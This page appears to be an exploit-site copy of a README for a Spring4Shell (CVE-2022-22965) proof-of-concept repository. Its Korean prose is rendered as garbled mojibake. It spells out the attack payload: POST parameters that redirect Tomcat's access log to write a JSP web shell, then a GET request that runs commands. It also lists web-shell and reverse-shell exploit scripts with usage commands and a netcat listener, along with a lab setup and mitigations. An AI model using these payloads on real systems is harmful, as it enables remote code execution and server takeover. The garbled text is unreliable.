## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MARCH0N-POC-CVE-2022-22965-SPRING4SHELL
# PoC β CVE-2022-22965 (Spring4Shell)
> **λ©΄μ±
μ‘°ν:** μ΄ μ μ₯μλ **κ΅μ‘ λ° μ°κ΅¬ λͺ©μ μΌλ‘λ§** μ 곡λ©λλ€. λͺ¨λ μ΅μ€νλ‘μ μ€ν¬λ¦½νΈλ λ°λμ μμ μ΄ μμ νκ±°λ λͺ
μμ μΈ μλ©΄ μΉμΈμ λ°μ μμ€ν
μλ§ μ¬μ©ν΄μΌ ν©λλ€. μ μλ μ΄ μλ£λ‘ μΈν μ€μ© λλ μν΄μ λν΄ μ±
μμ§μ§ μμ΅λλ€.
CVE-2022-22965μ λν μ°κ΅¬ λ° κ°λ
μ¦λͺ
(PoC) μλ£μ
λλ€. μ΄ μ·¨μ½μ μ 2022λ
4μμ 곡κ°λ Spring Frameworkμ μΉλͺ
μ μΈ μ격 μ½λ μ€ν(RCE) μ·¨μ½μ μ
λλ€.
* * *
## μ·¨μ½μ κ°μ
**Spring4Shell** μ λ€μ μ‘°κ±΄μ΄ λͺ¨λ μΆ©μ‘±λ λ Spring MVC λ° Spring WebFlux μ ν리μΌμ΄μ
μ μν₯μ λ―ΈμΉ©λλ€:
쑰건| κ°
---|---
JDK λ²μ | 9 μ΄μ
μ ν리μΌμ΄μ
μλ²| Apache Tomcat
ν¨ν€μ§| WAR (μ€ν κ°λ₯ν JAR μλ)
Spring Framework| < 5.3.18 λλ < 5.2.20
### μλ μ리
Springμ λ°μ΄ν° λ°μΈλ© λ©μ»€λμ¦μ HTTP μμ² λ§€κ°λ³μλ₯Ό μ νκΈ°λ²(μ: `user.name=foo`)μ μ¬μ©νμ¬ Java κ°μ²΄ μμ±μ λ§€νν μ μκ² ν©λλ€. μ΄ μ·¨μ½μ μ μ΄λ¬ν νμμ΄ μ λλ‘ μ νλμ§ μκΈ° λλ¬Έμ λ°μν©λλ€. 곡격μλ λͺ¨λΈ κ°μ²΄μ ν΄λμ€ κ³μΈ΅μ ν΅ν΄ JVM `ClassLoader`μ λλ¬ν μ μμ΅λλ€:
root@kitploit:~
class.module.classLoader.resources.context.parent.pipeline.first.<property>
μ΄ κ²½λ‘λ Tomcatμ `AccessLogValve`μ λλ¬νλ©°, μ΄ μ»΄ν¬λνΈμ λ‘κΉ
ꡬμ±μ λ°νμμ μ‘°μλ μ μμ΅λλ€. 곡격μλ `pattern`, `directory`, `prefix`, `suffix`μ κ°μ μμ±μ μμ νμ¬ Tomcatμ μ‘μΈμ€ λ‘κ·Έκ° μμμ JSP μ½λλ₯Ό ν¬ν¨νλ `.jsp` νμ₯μλ₯Ό κ°μ§ νμΌμ μ°λλ‘ λ¦¬λλ μ
ν©λλ€. μ¦, μλ²μ **μΉ μ
Έ** μ μ¬λ κ²μ
λλ€.
### 곡격 νλ¦
root@kitploit:~
1. POST /vulnerable
class.module.classLoader.resources.context.parent.pipeline.first.pattern=<JSP payload>
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=shell
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
2. Tomcat writes the access log to webapps/ROOT/shell.jsp with the injected payload
3. GET /shell.jsp?cmd=id β RCE
* * *
## μ μ₯μ ꡬ쑰
root@kitploit:~
.
βββ exploits/
β βββ exploit1.py # POST-based web shell with password protection
β βββ exploit2.py # POST-based web shell with reset capability
β βββ exploit3.py # GET-based variant (simplified)
β βββ exploit4.py # Reverse TCP shell (GET-based)
β βββ exploit4b.py # Reverse TCP shell (POST-based)
βββ springmvc5-helloworld-example/
βββ Dockerfile # Uses pre-built tomcat:9.0.60 image
βββ Dockerfile2 # Builds from openjdk:11 + downloads Tomcat
βββ pom.xml # Maven project β Spring MVC 5.3.17 (vulnerable)
βββ src/ # Vulnerable Spring MVC application source
* * *
## μ΅μ€νλ‘μ λ³ν
### μ¬μ© μμ
root@kitploit:~
# Web shell
python3 exploits/exploit1.py http://target:8080/vulnerable
# Reverse shell (start listener first: nc -lvnp 4444)
python3 exploits/exploit4.py --url http://target:8080/vulnerable --lhost <YOUR_IP> --lport 4444
* * *
## μ€μ΅ νκ²½ ꡬμ±
### μ¬μ μꡬ μ¬ν
* Java 11+
* Maven (`sudo apt install maven` λλ `sudo dnf install maven`)
* Docker (μ ν μ¬ν, κΆμ₯λ¨)
### λΉλ
root@kitploit:~
cd springmvc5-helloworld-example
mvn clean package
### Dockerλ‘ μ€ν
root@kitploit:~
# Option 1 β pre-built Tomcat image
docker build -t spring4shell .
docker run -p 8082:8080 spring4shell
# Option 2 β build from openjdk + download Tomcat
docker build -t spring4shell -f Dockerfile2 .
docker run -p 8082:8080 spring4shell
κ·Έλ¬λ©΄ μ ν리μΌμ΄μ
μ `http://localhost:8082/vulnerable`μμ μ κ·Όν μ μμ΅λλ€.
* * *
## λμ λ°©μ
* **Spring Frameworkλ₯Ό** 5.3.18+ λλ 5.2.20+λ‘ μ
κ·Έλ μ΄λ
* **Spring Bootλ₯Ό** 2.6.6+ λλ 2.5.12+λ‘ μ
κ·Έλ μ΄λ
* μ
κ·Έλ μ΄λκ° μ¦μ λΆκ°λ₯ν κ²½μ°:
* JDK 8λ‘ λ€μ΄κ·Έλ μ΄λ
* `WebDataBinder.setDisallowedFields()`λ₯Ό μ¬μ©νμ¬ `classLoader` λ°μΈλ© μ°¨λ¨
* `class.`, `Class.`, `module.` λλ `classLoader`λ₯Ό ν¬ν¨νλ λ§€κ°λ³μλ₯Ό μ°¨λ¨νλ WAF κ·μΉ λ°°ν¬
* * *
## ν¬λ λ§
μλ³Έ μ°κ΅¬ λ° μ΅μ€νλ‘μ μ½λ: @march0n. μ΄ μ μ₯μλ νμ΅ λͺ©μ μ κ°μΈμ μΈ μ·¨μ½μ μ°κ΅¬μ΄λ©°, μΆκ° λ¬Έμμ λΆμμ ν¬ν¨ν©λλ€.
* * *
## μ°Έκ³ μλ£
* CVE-2010-1622 β μλ Spring ClassLoader μ΅μ€νλ‘μ (2010)
* μ΅μ΄ μ€κ΅μ΄ κ³΅κ° (Weixin)
* Microsoft 보μ λΈλ‘κ·Έ β SpringShell μ§μΉ¨
* LunaSec β Spring RCE μ·¨μ½μ λΆμ
* Palo Alto Unit 42 β CVE-2022-22965 μ¬μΈ΅ λΆμ